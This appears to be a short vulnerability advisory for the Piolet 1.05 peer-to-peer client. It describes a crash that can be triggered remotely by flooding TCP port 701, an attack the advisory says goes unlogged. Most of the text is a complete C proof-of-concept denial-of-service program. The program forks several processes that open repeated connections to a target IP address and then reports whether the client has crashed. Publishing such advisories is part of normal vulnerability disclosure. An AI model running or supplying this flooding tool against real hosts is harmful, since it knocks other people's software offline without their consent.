What's Piolet: Piolet is a peer-to-peer file sharing client.
More information can be found at www.piolet.com
Vulnerability Description: By connecting TCP port 701, client show to user
a "voice chat session request" message.
Flooding this port, a remote attacker could
cause the application to crash. This attack
will go unlogged.
Affected Software: Piolet ver. 1.05
Exploit:
/************************************************************
* Piolet client v1.05 Remote Denial of Service *
* Proof of Concept by Luca Ercoli luca.ercoli[at]inwind.it *
************************************************************/
#include <stdio.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
int ck,port=701,sd,cx=0,contatore=0,prec;
struct sockaddr_in pilot_client;
void ending(char *client){
int i;
pilot_client.sin_family = AF_INET;
pilot_client.sin_port = htons((u_short)port);
pilot_client.sin_addr.s_addr = (long)inet_addr(client);
for(i = 0; i < 100; i++){
sd = socket(AF_INET, SOCK_STREAM, 0);
ck = connect(sd, (struct sockaddr *) &pilot_client, sizeof(pilot_client));
if(ck != 0) {
prec = 0;
if (prec == 0) contatore++;
if (prec == 1) contatore = 0;
if (contatore > 13) {
printf("! Remote client seems to be crashed.\n");
exit(0);
}
}
if(ck == 0) prec = 1;
close(sd);
}
}
void kill_pilot(char *stringa){
short i;
pilot_client.sin_family = AF_INET;
pilot_client.sin_port = htons((u_short)port);
pilot_client.sin_addr.s_addr = (long)inet_addr(stringa);
for(i = 0; i < 50; i++){
sd = socket(AF_INET, SOCK_STREAM, 0);
ck = connect(sd, (struct sockaddr *) &pilot_client, sizeof(pilot_client));
if(ck != 0) exit(0);
close(sd);
}
}
int main(int argc, char **argv)
{
short i;
prec = 0;
if(argc < 2)
{
printf("\nUsage: %s <client-ip>\n", argv[0]);
exit(0);
}
prec=0;
printf ("\n\n+ DoS Started...\n");
printf("+ Flooding remote client...\n");
for (i=0; i<12; i++) if(!fork()) kill_pilot(argv[1]);
printf ("+ Ending...\n");
ending(argv[1]);
}
--
Luca Ercoli luca.ercoli[at]inwind.it
